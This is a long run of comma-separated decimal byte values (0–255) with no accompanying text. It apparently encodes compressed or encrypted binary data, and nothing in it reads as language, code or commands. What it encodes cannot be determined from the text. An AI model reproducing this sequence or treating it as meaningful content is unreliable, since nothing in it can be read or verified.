84,43,173,111,199,129,216,158,246,193,248,61,156,216,48,1,37,127,24,207,158,22,97,27,5,50,32,80,155,33,123,215,178,217,109,103,45,204,186,101,210,215,253,166,181,182,88,169,74,250,93,210,202,118,236,97,159,199,73,244,106,235,227,226,146,211,226,240,52,43,114,155,175,111,169,159,180,163,10,212,106,31,91,164,152,166,140,75,78,31,57,20,137,29,9,34,106,114,214,158,246,75,96,62,113,56,177,185,121,86,223,61,236,43,208,32,143,184,230,216,15,246,176,220,86,69,110,220,80,9,147,156,217,28,251,234,80,80,28,58,52,57,45,57,163,89,241,121,115,236,27,96,104,15,155,22,199,29,47,182,212,43,114,147,167,140,218,248,83,166,221,46,114,189,156,255,166,219,51,237,8,242,113,115,236,94,226,229,37,120,131,132,68,190,173,101,25,130,236,170,207,21,137,188,3,34,105,201,83,55,31,107,83,236,88,162,200,85,102,236,50,20,217,149,133,148,17,242,126,1,4,90,162,64,32,185,111,162,29,45,174,89,23,55,148,60,246,81,189,183,178,109,68,191,2,222,109,138,111,146,225,57,120,8,167,202,139,32,11,232,218,250,218,230,243,150,244,203,208,45,104,59,66,69,183,107,133,51,235,137,182,140,44,150,141,208,234,109,113,109,125,158,206,98,219,68,78,190,65,9,103,236,81,215,68,45,121,218,120,51,232,237,105,73,164,198,131,130,152,189,167,133,106,42,110,8,79,153,36,128,184,122,7,205,125,8,101,11,100,90,168,14,195,121,66,234,74,27,247,233,157,219,182,126,53,72,176,181,229,70,96,23,25,166,41,43,187,81,72,45,42,178,219,195,52,20,233,201,217,27,223,69,253,74,2,65,5,186,79,203,19,87,230,113,7,9,238,163,183,207,169,223,117,207,163,187,234,115,54,95,146,156,187,241,66,132,79,78,223,152,72,70,198,198,4,50,82,55,158,75,70,218,198,225,100,100,109,60,149,140,9,27,169,49,212,214,247,149,84,3,210,253,243,233,241,80,31,80,200,71,124,53,157,179,5,113,188,65,123,110,226,184,162,138,175,57,213,240,153,152,56,190,24,195,251,142,49,24,189,136,227,42,154,243,140,225,107,49,93,163,39,53,223,23,235,73,163,24,99,9,13,247,27,211,57,223,235,125,70,33,19,35,83,165,228,239,3,174,14,92,213,192,167,107,86,94,194,231,24,94,112,64,116,189,61,230,128,126,118,9,66,213,72,62,225,56,180,222,80,33,237,129,249,96,86,68,236,135,21,76,205,42,44,78,203,183,151,228,58,203,125,30,234,225,75,164,125,52,249,148,194,146,140,160,207,135,137,253,116,193,231,119,122,220,228,227,242,84,193,82,224,21,202,157,14,87,231,64,129,38,150,57,78,127,128,241,178,204,228,107,23,65,228,61,188,131,35,150,95,85,196,58,90,1,155,9,160,189,204,220,94,35,241,12,62,2,15,240,178,113,113,138,1,94,198,145,181,228,151,118,0,122,215,95,9,159,145,249,164,249,100,64,26,213,139,105,70,134,203,236,92,231,248,207,242,67,115,197,26,62,226,22,34,86,150,196,21,151,106,94,251,129,136,121,245,137,241,114,150,136,241,13,227,227,37,162,29,144,164,203,139,180,106,249,14,113,129,52,178,23,103,47,118,64,237,9,242,236,231,243,238,0,175,19,225,119,230,187,59,182,43,215,36,135,225,21,193,200,217,247,239,45,223,223,150,14,173,29,58,165,221,32,127,231,220,38,67,90,165,161,244,167,162,29,23,162,29,166,177,124,112,241,239,158,39,138,171,47,225,21,151,255,70,126,211,192,103,5,95,159,242,255,27,210,251,45,169,81,92,90,123,166,181,211,124,62,250,22,87,170,202,249,58,169,239,127,144,127,90,73,94,200,195,213,72,123,199,211,65,143,158,74,174,141,220,240,45,228,231,27,40,13,183,196,171,88,131,162,110,176,243,216,226,94,155,24,170,188,27,207,221,219,151,24,39,141,107,16,146,149,92,105,5,219,201,87,6,5,158,86,239,24,249,224,37,175,179,236,88,183,53,175,66,62,151,17,237,141,241,169,108,216,129,84,214,23,80,2,62,106,186,173,188,137,254,23,255,35,149,157,11,248,117,114,157,209,57,87,10,247,72,94,232,24,58,132,147,203,28,92,223,56,121,169,76,64,62,156,124,13,171,216,179,64,167,201,116,250,105,54,199,237,89,254,124,161,194,137,153,160,120,248,136,227,242,133,90,193,23,56,145,55,115,7,42,92,46,105,81,54,63,224,154,32,132,59,17,222,7,121,248,170,32,241,69,235,104,211,121,143,25,110,55,116,202,196,206,79,174,116,173,10,202,145,199,124,228,52,23,54,177,189,81,79,90,202,247,176,104,182,232,233,33,61,174,78,221,83,204,166,129,30,99,61,207,167,118,157,55,18,143,14,21,4,124,78,119,85,150,207,83,147,230,47,119,58,47,101,34,223,180,252,157,230,246,59,69,111,210,229,126,158,93,126,136,138,206,78,205,23,124,110,193,165,230,25,144,14,30,77,11,10,226,249,166,116,151,163,51,99,105,92,110,75,121,121,83,159,24,222,223,21,184,108,139,251,34,83,165,179,135,5,124,93,212,199,181,153,156,175,212,136,171,177,101,124,183,221,201,207,17,153,96,175,6,62,128,56,126,184,146,241,23,25,50,137,175,174,214,0,75,43,59,30,96,73,126,146,217,60,190,31,233,64,127,226,231,251,15,162,188,38,74,237,76,224,248,5,140,118,31,188,221,244,119,6,210,232,218,195,241,75,251,135,1,206,189,19,188,76,230,45,133,234,234,82,222,26,61,188,253,212,72,173,199,47,201,165,120,26,130,122,47,210,19,164,61,197,85,211,249,8,225,229,146,40,174,8,249,17,46,189,215,26,185,40,31,255,254,125,160,158,43,250,180,134,45,174,163,243,173,15,174,99,40,175,221,169,254,231,248,201,231,171,226,226,94,84,137,180,234,31,30,71,210,218,126,25,31,69,48,73,191,121,184,236,36,163,133,200,89,60,98,250,249,232,139,202,114,62,70,131,114,105,239,74,236,23,173,236,66,132,145,99,12,58,6,18,41,151,118,218,198,242,21,19,58,123,229,231,53,234,147,168,199,179,113,124,229,222,211,25,131,194,136,187,102,46,158,75,71,167,22,141,220,173,91,208,169,133,69,222,203,37,77,40,151,246,12,93,220,230,227,178,31,224,50,126,129,180,102,115,129,196,199,44,78,147,246,205,78,118,86,79,58,233,40,79,206,144,123,209,50,229,202,36,85,146,58,73,35,79,116,203,85,242,196,5,114,165,66,161,144,219,228,83,130,46,249,249,242,76,193,37,79,174,148,39,95,34,231,233,244,214,153,165,124,92,76,235,134,126,169,190,253,146,108,139,99,238,158,227,251,19,105,101,210,53,185,160,148,201,79,227,113,217,8,175,151,101,184,232,92,169,191,36,203,227,170,16,124,37,254,106,193,229,42,161,85,190,146,114,79,77,141,195,13,133,11,22,133,42,168,35,113,13,77,224,99,249,10,164,226,234,54,58,236,122,20,74,149,90,163,213,233,13,198,136,51,199,57,185,83,166,230,77,203,47,40,44,154,94,60,99,230,172,147,159,83,166,51,207,94,151,199,39,248,164,227,162,204,159,144,202,76,163,211,120,111,233,231,181,227,228,37,226,148,198,52,89,28,35,112,41,118,161,52,34,251,174,72,125,69,207,4,46,171,101,248,19,107,43,97,76,26,59,7,48,2,80,3,168,6,244,60,95,254,64,143,243,227,29,201,194,252,227,131,219,166,94,183,41,170,114,203,91,187,175,57,10,254,106,147,33,123,158,5,232,71,168,0,229,105,21,21,137,185,222,60,159,80,41,96,146,82,46,200,19,237,117,229,174,32,117,50,121,142,64,181,156,69,141,73,101,30,69,26,171,196,132,38,156,79,110,175,40,99,16,145,49,152,227,36,86,200,51,228,137,149,242,49,84,239,177,8,255,24,194,251,165,124,210,12,170,12,248,115,128,159,166,74,99,227,97,14,86,167,117,213,107,175,57,83,207,9,147,184,91,42,4,228,5,66,32,0,49,245,179,92,71,93,134,199,237,22,251,73,127,158,224,83,150,42,10,4,95,45,237,135,246,242,147,60,76,72,119,175,46,141,217,97,238,135,185,6,230,110,75,26,187,21,230,33,152,233,211,210,28,249,9,26,245,232,105,105,89,149,149,140,165,184,252,129,212,212,153,105,51,38,78,74,157,37,201,11,125,143,129,157,224,233,123,2,92,84,15,119,120,79,235,182,31,179,233,88,38,27,8,152,43,99,108,123,80,198,182,59,101,108,66,70,97,14,125,121,118,47,112,73,124,165,27,246,193,140,189,193,36,119,66,5,159,160,222,61,132,177,141,23,201,36,92,13,31,42,79,177,201,248,121,80,17,183,80,76,42,85,198,188,125,128,115,86,56,2,142,4,58,90,202,188,25,50,150,131,222,52,201,71,56,49,109,226,65,116,39,92,122,233,165,21,101,212,63,143,92,32,99,244,57,7,41,46,239,127,229,117,50,54,140,117,226,232,200,42,211,0,87,209,149,6,29,97,229,239,209,232,78,239,196,137,139,255,107,100,244,245,16,150,148,145,95,152,48,35,131,84,32,139,6,110,108,23,142,190,142,200,198,119,15,199,139,93,1,92,30,10,56,73,100,153,45,189,81,198,102,76,30,218,121,30,157,29,25,198,199,129,73,62,191,175,60,65,193,39,254,94,224,232,64,172,132,227,252,87,72,239,247,208,211,14,187,2,101,209,82,215,133,203,89,33,99,87,161,204,90,47,237,194,189,180,82,198,214,166,203,120,62,195,207,88,122,15,8,225,86,69,132,219,3,92,33,194,173,137,72,227,75,224,74,144,70,66,4,78,190,74,198,142,32,92,93,4,110,53,112,153,8,183,49,130,94,255,6,132,65,56,87,4,206,6,156,129,226,70,224,114,128,203,4,238,225,8,254,214,1,183,8,252,45,141,8,183,19,184,156,244,46,119,228,243,231,59,131,127,190,51,248,231,59,131,255,217,119,6,79,97,233,25,116,56,36,124,150,39,65,114,211,17,155,52,87,149,199,231,12,84,215,96,54,84,235,196,200,134,41,37,223,2,254,154,137,23,147,195,133,236,28,9,55,65,112,243,51,55,5,11,107,106,4,76,167,202,39,11,152,37,149,113,178,226,68,113,25,19,167,100,153,124,30,233,241,45,44,102,108,104,20,166,142,185,158,138,160,75,200,114,186,132,41,142,26,1,58,216,31,45,189,152,34,189,147,114,40,90,154,123,241,83,59,81,20,39,194,55,165,47,58,68,95,185,35,80,76,115,112,126,24,104,34,6,93,46,129,77,225,62,46,193,13,159,81,50,123,157,23,104,187,187,214,233,243,184,233,221,27,113,214,231,199,184,46,28,14,105,167,137,212,106,188,176,219,194,148,97,175,234,147,27,116,5,156,233,11,3,66,161,167,24,197,145,81,237,240,177,71,163,11,92,130,224,101,19,196,144,94,122,39,101,112,223,176,119,161,167,51,14,155,24,14,1,94,174,167,28,20,58,203,231,103,208,250,42,102,146,225,52,225,247,114,212,68,193,225,229,111,224,176,73,81,225,23,122,252,126,194,50,102,233,67,175,212,228,56,203,124,14,31,165,101,15,135,232,124,219,231,76,228,211,25,142,196,226,186,202,87,44,19,196,185,66,6,92,134,56,50,205,113,186,129,42,163,80,5,244,186,92,208,155,237,174,244,164,177,87,56,23,226,33,169,3,225,210,23,153,98,175,113,191,124,65,116,126,21,221,125,94,188,35,186,80,240,213,56,221,168,104,233,61,159,45,82,189,75,78,150,212,151,191,47,36,177,24,126,95,168,133,115,37,142,175,194,220,47,237,67,114,24,118,109,38,46,165,145,88,167,12,33,63,71,194,28,72,175,39,217,235,208,199,117,227,153,48,15,72,92,228,35,189,46,94,54,72,88,41,13,80,27,209,179,196,80,39,167,247,233,185,46,48,70,204,3,201,44,187,70,162,65,142,98,150,18,89,67,136,219,135,75,171,167,220,225,42,116,210,121,172,23,34,242,41,114,145,13,62,118,244,206,61,208,45,125,242,225,207,19,97,42,89,22,178,158,229,196,32,159,16,224,244,18,138,147,142,146,246,45,44,92,232,37,62,51,120,152,41,24,106,137,65,218,41,68,86,208,229,162,1,179,212,182,234,185,236,9,53,94,194,33,78,186,40,65,206,90,177,20,42,17,81,108,23,240,91,21,145,179,52,246,88,212,4,151,167,44,44,6,207,70,112,28,217,162,115,169,237,158,0,127,132,243,66,212,233,88,66,153,140,100,75,42,37,54,141,226,100,186,92,145,225,191,138,12,143,10,204,236,195,11,81,146,193,137,162,139,11,232,247,209,197,14,103,32,203,227,43,0,215,46,97,106,217,60,16,97,223,133,177,188,9,122,195,120,212,221,93,225,58,119,122,81,174,77,125,242,4,97,62,21,78,5,71,132,88,102,80,124,11,47,172,69,102,18,119,246,90,129,90,234,253,221,229,5,124,46,151,48,60,0,202,119,88,111,141,134,80,105,92,42,242,5,191,39,232,43,71,170,83,120,77,133,221,197,236,26,169,77,122,49,57,244,73,113,90,164,242,22,91,136,248,2,31,73,178,45,82,194,236,117,8,105,236,46,27,192,216,187,73,66,49,171,164,60,144,53,207,227,164,73,11,122,70,81,46,171,144,83,87,38,170,95,232,212,134,111,242,217,106,88,158,131,44,195,227,93,40,218,255,70,92,242,192,162,192,29,102,118,34,150,129,166,64,100,10,194,203,131,198,62,57,130,163,86,232,133,255,36,138,22,220,156,252,100,74,79,207,87,165,84,123,226,111,149,202,55,23,37,67,175,125,253,128,54,225,18,28,126,17,129,82,234,210,55,157,173,243,153,176,198,241,120,92,152,75,122,213,170,2,183,195,235,175,166,227,165,107,251,72,193,212,42,42,30,148,213,95,186,48,188,8,139,217,35,209,36,116,158,202,174,250,250,103,15,29,131,145,60,215,153,252,93,181,8,177,45,36,185,156,223,21,239,161,19,233,44,164,121,99,143,52,25,187,169,59,95,108,8,122,17,55,45,23,176,149,145,45,22,37,48,217,158,63,197,158,19,126,51,78,221,103,129,223,139,154,11,84,22,51,85,167,61,141,173,151,117,166,92,40,230,51,145,183,40,143,79,168,242,161,219,169,16,253,32,41,82,111,202,95,184,36,237,15,125,23,21,249,254,172,62,42,207,227,15,76,11,58,3,18,150,89,40,14,250,119,18,84,145,248,191,162,186,222,210,60,22,85,232,115,184,253,46,170,52,41,2,155,21,149,47,84,57,81,88,190,206,87,59,133,90,39,178,139,250,205,20,42,69,94,120,63,134,57,107,84,207,183,60,221,178,158,239,132,78,233,164,199,23,95,144,187,83,40,76,154,127,161,155,6,30,212,88,144,234,72,70,239,243,82,113,138,111,13,210,25,107,81,50,196,4,169,241,108,102,153,78,191,215,17,40,175,150,152,69,122,51,137,86,167,211,42,229,86,36,42,189,101,204,203,222,77,92,240,126,111,58,189,237,199,219,162,131,112,212,109,33,6,33,230,118,115,167,177,169,228,166,19,202,146,127,77,79,26,72,191,186,19,71,245,129,128,160,171,32,28,31,220,208,192,234,71,25,145,164,5,4,39,169,15,218,119,168,118,184,171,4,9,147,225,113,87,58,73,131,39,68,113,50,61,208,50,25,49,32,33,253,97,205,82,204,94,140,226,131,128,78,178,75,40,77,40,142,174,220,25,56,23,188,8,165,252,124,47,114,146,145,235,112,163,180,124,197,180,78,198,217,148,168,72,74,148,205,162,82,44,244,204,23,220,148,39,95,141,248,150,243,181,178,28,212,76,208,43,109,53,23,56,43,138,153,156,247,13,176,178,239,100,17,253,63,143,75,7,188,194,111,39,167,185,43,186,212,9,5,103,231,178,180,138,121,65,191,152,12,245,105,208,90,85,144,177,155,164,84,58,81,60,67,197,108,34,229,70,84,59,18,102,113,247,28,163,46,140,61,114,92,204,50,187,98,241,170,89,32,139,96,67,40,15,66,129,45,204,20,252,229,62,167,55,64,227,83,107,183,240,105,236,137,40,36,208,59,96,166,163,220,197,210,50,167,167,229,101,135,229,43,94,86,64,75,97,210,162,97,49,123,158,21,76,228,109,152,214,25,165,254,187,9,184,30,227,106,94,83,31,139,97,165,173,252,200,40,123,69,159,201,110,207,2,119,23,158,177,209,221,82,35,34,242,30,152,52,196,180,231,132,85,79,53,43,202,207,201,4,17,23,186,163,66,143,212,243,4,125,174,26,143,91,228,191,129,85,9,1,7,70,166,78,82,43,171,88,37,234,181,211,137,185,71,182,91,8,76,9,120,48,236,45,46,80,149,134,115,109,67,143,211,85,162,244,21,136,12,143,152,195,108,183,63,224,112,147,94,77,237,22,38,92,152,140,185,128,135,30,138,136,93,13,76,161,195,63,31,189,40,31,45,120,92,130,148,208,4,70,249,166,126,210,94,23,16,220,180,162,87,76,171,195,97,108,87,247,109,228,56,116,207,101,124,184,140,113,22,58,75,252,167,177,213,220,135,198,148,181,188,191,164,226,78,99,19,37,255,98,102,151,168,185,80,122,80,87,80,84,5,19,115,138,81,197,156,131,251,216,20,105,108,56,1,42,217,139,49,60,184,44,19,124,126,246,3,249,208,177,11,224,48,90,176,23,70,72,197,212,28,123,90,81,97,216,245,54,19,167,100,188,247,46,244,136,227,65,240,248,158,136,47,114,123,197,30,139,171,77,246,206,137,66,211,200,49,127,102,94,152,100,44,235,53,130,225,18,149,87,64,124,243,207,43,252,174,103,239,224,84,246,79,192,113,192,192,33,169,108,36,224,34,128,9,80,2,152,15,88,10,232,246,200,232,233,77,235,196,43,70,255,189,231,63,156,190,236,230,194,189,150,251,175,140,157,124,119,220,220,85,171,62,48,23,165,239,60,58,121,245,173,235,210,30,91,250,193,36,111,238,123,99,243,174,77,99,4,252,67,215,116,37,118,227,30,186,144,102,151,140,165,173,248,82,22,252,142,95,30,87,113,23,29,235,93,113,104,68,99,234,0,250,204,112,221,128,3,247,1,209,56,65,161,254,182,177,116,124,99,74,131,189,189,49,221,66,87,135,100,198,214,53,216,143,208,151,217,235,17,98,199,193,88,245,139,245,239,5,18,27,23,183,15,122,102,216,160,29,109,3,151,90,6,57,26,138,218,23,157,218,248,220,138,150,253,125,142,28,236,211,39,216,158,102,126,217,247,17,93,151,70,183,230,28,105,204,137,29,161,126,15,164,228,125,158,107,224,87,98,88,26,99,212,29,125,94,90,209,18,77,159,204,124,181,193,30,90,221,127,199,43,3,7,61,179,163,79,123,250,202,23,131,95,33,110,195,226,246,70,176,177,248,104,159,93,102,123,76,64,222,104,15,101,152,103,31,242,237,108,44,30,209,80,116,172,254,181,65,245,147,233,99,115,45,225,27,97,131,71,26,51,135,39,52,69,207,24,244,228,128,88,88,71,54,69,175,106,140,142,237,243,220,193,15,248,87,88,183,179,206,79,118,199,52,205,136,174,206,89,112,254,41,13,185,235,26,102,111,13,133,248,117,34,187,237,59,105,91,87,221,178,219,190,135,246,118,87,217,247,173,178,127,216,100,223,153,183,219,222,74,45,96,183,125,63,237,111,239,182,127,70,91,220,149,187,237,33,23,219,109,127,157,94,245,223,109,127,155,90,9,112,239,187,200,167,93,201,240,123,76,197,58,222,108,178,239,167,143,114,219,95,199,111,245,140,13,5,159,135,22,210,181,95,11,91,83,174,104,176,199,132,92,228,176,175,152,126,10,125,49,177,148,28,153,71,180,251,27,236,45,161,124,114,28,190,241,137,188,6,251,134,144,157,28,187,254,114,101,126,131,253,182,144,129,28,165,117,133,135,81,55,161,139,200,241,238,183,239,78,109,176,175,13,157,67,57,105,175,222,53,228,28,111,195,226,199,67,131,200,111,211,29,165,79,53,30,9,245,33,123,98,241,230,139,27,236,219,67,223,242,123,30,55,246,186,69,175,160,193,126,127,199,91,243,88,131,253,16,216,109,156,29,67,215,181,61,44,221,155,86,60,143,117,252,141,95,187,114,120,30,163,139,89,139,27,23,31,154,94,220,81,180,29,112,100,169,45,183,113,246,214,192,0,242,106,207,163,91,221,139,90,118,217,79,99,213,251,147,24,236,27,232,134,185,85,127,157,151,57,143,209,21,115,245,153,29,244,37,241,66,126,119,229,128,142,224,186,240,37,113,69,183,129,191,250,150,224,212,38,251,170,60,41,24,216,20,159,130,142,162,163,116,73,201,67,224,21,73,68,137,92,167,130,235,173,29,69,143,55,182,207,99,43,58,58,2,125,155,236,91,15,206,161,235,122,68,46,14,208,215,130,233,254,149,166,220,67,211,242,58,138,214,46,91,124,168,15,90,106,192,115,242,52,130,83,187,211,143,137,160,127,33,221,127,220,17,124,152,178,190,145,178,126,50,50,7,251,119,49,129,162,144,117,4,183,83,65,45,62,141,13,90,249,249,113,241,50,227,231,255,35,138,98,124,77,218,73,253,42,78,234,243,191,125,72,119,206,128,12,142,144,214,102,35,125,42,25,255,254,72,47,252,169,169,244,190,86,215,254,73,248,233,215,107,87,86,124,232,254,78,250,74,48,237,217,208,206,216,86,9,159,250,43,248,11,1,78,63,183,249,116,246,248,169,123,71,111,149,229,236,29,205,191,244,131,126,180,202,231,168,145,151,59,220,110,79,64,94,38,200,125,65,55,125,207,39,115,106,129,188,6,19,159,164,129,3,251,39,72,52,102,254,248,183,17,163,110,121,122,114,24,78,63,182,109,210,8,152,195,62,177,77,30,201,205,164,201,195,185,223,246,201,41,48,75,126,122,124,210,72,110,166,79,22,205,103,185,59,223,89,94,77,241,79,198,107,158,157,177,28,89,52,147,89,43,47,14,227,246,179,62,178,211,100,167,159,78,139,223,252,163,43,20,142,54,200,98,153,244,126,68,170,104,143,162,253,65,177,39,11,155,252,67,46,209,162,53,138,150,108,41,32,133,237,52,59,13,254,184,206,151,228,12,36,189,67,78,94,166,15,39,208,108,236,228,207,190,132,30,117,3,62,87,254,76,248,240,62,100,115,63,137,161,152,46,190,35,72,204,13,239,39,222,112,170,136,224,31,213,25,208,61,28,210,77,13,239,225,213,13,98,226,7,112,104,147,116,120,175,112,45,124,223,142,73,121,37,134,169,92,71,244,166,247,51,172,255,249,252,23,158,121,44,127,90,71,220,88,117,42,123,190,149,30,62,50,168,139,162,197,63,69,42,83,191,208,96,63,70,183,239,124,223,17,87,39,79,165,27,174,19,154,234,247,137,159,97,167,72,64,88,154,234,87,117,33,154,234,91,201,81,189,142,66,159,130,62,236,97,88,58,226,188,248,109,108,34,175,174,91,156,196,160,187,57,57,82,7,98,36,145,252,238,250,207,240,123,10,199,46,29,77,20,22,17,5,30,163,58,150,45,141,21,47,189,105,170,223,195,83,91,195,121,171,158,161,167,144,37,162,131,223,105,80,127,180,139,181,238,152,24,158,214,206,136,232,157,94,37,157,73,209,141,222,29,91,40,16,146,219,194,211,234,152,102,16,253,56,7,133,141,34,9,241,162,58,206,205,110,142,161,178,21,177,98,241,236,230,126,28,187,155,35,248,85,210,245,87,193,150,202,109,27,36,239,134,167,215,242,224,183,225,119,93,124,42,124,214,73,62,29,113,115,193,88,41,93,222,212,88,223,242,19,191,13,39,110,30,49,204,168,140,183,16,170,35,110,216,9,74,186,177,105,79,15,247,206,110,238,142,184,0,197,202,61,166,222,27,154,135,222,160,241,243,217,162,52,112,121,104,180,243,111,32,55,78,25,97,158,24,19,188,176,186,218,140,146,203,74,64,186,121,40,239,234,152,120,114,142,151,156,141,246,216,71,100,115,86,197,208,29,139,176,171,94,148,236,18,185,214,233,29,113,26,46,55,213,116,139,0,167,69,55,139,119,214,15,199,116,196,37,128,159,234,4,80,150,220,3,40,135,181,35,59,226,12,8,216,152,21,203,209,43,90,12,225,84,59,49,169,18,134,7,86,32,240,244,106,249,144,84,126,161,187,5,174,57,225,124,181,118,229,111,217,33,186,219,161,75,222,167,23,87,167,34,229,121,2,69,146,83,193,136,119,240,102,194,10,75,99,123,71,220,68,88,139,215,143,87,19,107,177,162,184,209,45,6,92,0,215,23,114,41,228,57,154,193,11,40,138,234,110,36,229,40,47,62,53,44,165,3,196,104,226,173,51,144,51,241,218,25,201,51,154,123,210,69,188,161,31,73,230,180,60,41,45,81,70,1,166,18,79,86,170,232,233,52,52,21,47,164,168,63,244,99,68,35,228,142,200,148,93,241,169,93,97,78,156,118,167,119,143,212,171,183,83,189,28,137,239,76,27,169,150,206,17,165,197,34,235,38,45,82,121,14,136,234,81,158,188,112,82,213,82,61,112,246,71,16,87,123,232,231,125,170,219,183,26,181,99,97,210,148,224,72,24,185,158,36,165,227,45,194,197,140,14,227,12,157,56,121,39,78,209,137,51,116,226,184,16,112,220,196,78,220,216,206,112,115,71,119,38,12,231,122,11,175,201,25,112,99,160,59,45,244,5,90,71,40,31,63,205,92,101,52,145,94,8,189,246,131,116,153,124,55,21,82,189,138,23,172,132,161,130,149,130,63,246,3,169,143,142,184,241,162,218,100,213,251,226,197,236,87,203,69,147,60,90,205,3,169,152,190,14,70,125,253,252,215,7,232,44,13,125,22,28,158,57,196,90,144,238,66,164,52,78,141,102,45,104,55,188,124,226,20,48,102,75,247,104,160,173,206,59,35,116,144,241,251,166,251,206,139,154,185,119,220,250,24,101,42,107,24,24,77,191,113,140,126,71,29,67,18,13,218,118,250,181,30,197,111,229,85,113,114,37,25,3,135,113,99,212,17,142,236,123,136,27,99,66,220,72,252,12,198,109,215,244,29,161,164,70,205,214,15,224,102,244,250,88,152,24,238,175,31,73,238,250,247,143,65,87,245,157,129,160,50,252,221,69,158,235,135,193,181,187,111,12,126,137,239,221,125,7,112,95,70,31,239,151,108,243,162,103,204,111,97,187,151,142,132,59,170,211,221,200,203,162,33,167,111,59,220,59,246,195,29,45,185,171,91,144,231,208,199,52,149,131,172,117,140,49,192,249,159,153,38,252,127,247,172,189,128,177,205,128,237,128,215,0,31,2,14,3,142,1,86,1,70,66,40,199,3,50,1,211,1,21,227,208,131,1,234,0,62,248,87,2,6,0,95,8,83,5,220,240,113,34,93,58,55,114,21,240,15,142,21,221,62,201,252,18,230,219,128,61,128,227,18,110,219,240,212,78,126,206,169,89,158,49,226,139,195,233,219,139,238,250,196,241,252,101,199,75,255,122,233,13,37,253,135,230,60,254,230,228,239,86,120,94,108,15,22,237,51,21,175,202,155,120,221,130,193,91,47,126,239,234,83,73,204,72,252,196,179,245,225,141,97,129,142,43,178,19,125,251,19,225,78,184,21,7,252,9,183,226,164,179,239,221,78,199,51,145,78,150,211,213,245,17,207,147,125,11,52,167,194,215,249,149,21,218,141,20,42,196,5,195,240,185,105,59,63,119,94,27,113,130,216,196,223,232,168,145,222,103,243,243,179,252,14,233,141,146,209,252,52,240,2,254,246,183,26,216,10,12,193,181,248,163,55,251,19,249,27,252,100,79,100,26,110,83,192,102,100,42,96,8,71,111,250,151,113,124,25,63,207,105,0,37,5,252,197,247,195,133,30,103,191,187,127,147,229,228,190,225,89,101,182,52,175,172,224,60,215,240,83,247,62,38,116,251,142,142,32,189,39,82,206,223,49,153,15,191,58,132,116,73,105,120,129,169,130,187,170,27,253,100,94,34,99,164,51,199,94,254,150,225,207,209,153,200,4,254,141,196,108,118,1,112,242,136,178,20,31,75,74,93,141,75,94,43,158,75,181,198,43,147,20,241,114,193,141,186,69,189,90,227,131,129,202,68,67,124,138,109,96,127,75,208,237,8,4,4,119,133,28,225,221,126,120,249,220,38,127,121,181,80,227,240,39,214,132,207,187,38,150,123,106,76,225,144,241,136,38,199,99,241,243,13,29,16,148,16,28,233,117,148,207,119,84,9,114,7,151,43,107,188,147,150,232,93,174,248,136,48,60,28,157,144,174,41,115,45,204,174,160,47,9,5,22,202,229,244,121,26,107,124,158,24,191,84,89,90,233,241,149,78,78,55,170,140,122,157,50,190,43,43,186,36,69,146,50,9,24,151,195,93,21,68,80,107,188,91,8,6,124,14,87,60,77,201,105,103,200,227,75,243,149,87,59,105,149,59,232,131,127,157,65,7,191,96,153,139,31,66,226,155,65,214,120,181,178,172,82,109,208,234,28,21,106,157,70,80,107,227,147,123,178,40,238,217,202,185,184,243,164,199,148,243,253,50,191,16,240,121,60,129,49,225,83,192,224,40,49,204,104,34,210,74,202,72,75,143,151,71,146,179,36,75,197,18,198,89,146,35,11,207,146,28,46,91,56,6,246,15,235,136,240,28,158,206,223,210,77,190,222,49,128,193,162,223,186,223,173,9,241,40,186,244,208,74,121,106,119,191,127,211,66,118,248,140,48,205,199,35,207,255,134,231,241,145,103,125,87,202,197,41,120,146,66,81,94,9,173,179,6,238,253,209,93,103,127,41,223,148,255,158,103,127,105,173,33,143,117,63,251,187,253,124,214,235,236,239,190,243,187,165,201,207,254,146,30,79,141,234,113,246,87,33,46,27,132,231,254,49,112,123,7,117,125,79,154,175,105,176,30,231,119,169,248,134,116,63,191,75,233,133,159,138,177,98,158,13,23,116,225,150,2,87,13,220,216,8,220,118,224,102,0,151,26,129,27,128,62,198,43,63,113,249,254,95,232,207,122,159,138,136,60,5,117,226,115,47,61,79,27,157,248,172,78,247,19,84,39,62,89,17,121,202,175,231,41,139,238,167,254,122,158,192,250,165,179,55,39,59,163,241,75,103,235,186,159,195,136,139,56,51,81,220,237,148,192,154,206,29,90,250,2,25,189,131,150,231,128,114,115,87,81,25,157,96,215,53,114,143,181,231,94,104,239,253,205,19,237,142,106,129,3,239,82,233,118,237,120,254,45,186,200,93,205,11,169,194,94,87,46,120,73,205,161,204,249,121,160,123,232,132,208,73,189,79,116,58,239,68,39,111,162,251,100,251,243,194,90,57,11,92,65,33,231,161,240,248,225,169,255,226,51,229,239,169,79,61,114,230,179,153,255,213,68,255,124,254,79,62,63,183,223,64,99,177,159,221,111,128,201,34,214,181,79,233,53,50,20,159,63,178,223,176,143,253,241,253,134,5,223,62,183,72,125,211,198,228,48,200,191,122,40,73,197,205,251,147,116,48,75,254,181,41,73,195,253,54,37,203,97,250,142,220,195,253,125,71,54,115,147,246,25,40,94,152,167,19,239,43,68,141,230,251,10,148,201,240,26,122,44,139,216,87,128,77,218,87,232,39,121,247,235,36,200,34,246,21,82,251,254,210,190,66,69,60,235,182,159,211,235,73,21,251,248,125,242,159,223,87,56,34,239,189,175,48,227,103,194,135,247,21,150,244,145,24,138,102,63,187,175,176,57,90,68,240,140,198,244,98,177,115,95,97,60,209,11,239,43,156,222,43,92,75,146,79,224,231,90,87,74,8,30,46,182,87,184,244,159,97,253,207,231,127,248,20,53,30,218,186,22,141,49,148,209,135,175,17,178,88,190,70,184,162,102,128,172,96,122,113,96,68,99,238,177,173,164,135,74,231,168,247,94,28,250,80,92,94,164,219,65,169,135,106,170,191,255,131,142,142,93,176,164,202,86,28,144,5,191,217,22,203,177,55,0,59,232,220,165,68,63,194,83,12,189,155,255,82,236,60,90,122,100,177,219,250,243,229,210,35,63,81,156,200,240,210,226,222,17,190,37,176,22,33,105,201,141,197,210,89,143,92,248,88,201,123,208,138,116,30,104,3,167,124,8,191,36,124,121,213,103,66,14,231,177,106,140,94,99,165,123,137,25,143,26,76,110,226,161,242,64,151,12,190,18,184,138,104,111,33,18,180,214,218,101,143,145,211,34,44,15,71,11,127,44,150,22,97,119,215,87,191,215,209,49,62,138,150,106,27,182,28,226,1,99,225,215,248,118,19,247,161,251,154,71,144,219,106,192,47,93,16,60,167,203,99,152,132,154,60,189,169,254,170,247,196,245,97,145,175,243,59,182,120,9,33,158,49,136,27,73,20,142,204,163,21,94,5,172,116,145,58,79,171,23,169,192,150,130,142,183,196,18,207,19,11,56,79,42,50,100,45,118,30,19,255,58,115,145,192,83,11,32,139,20,163,227,173,142,45,107,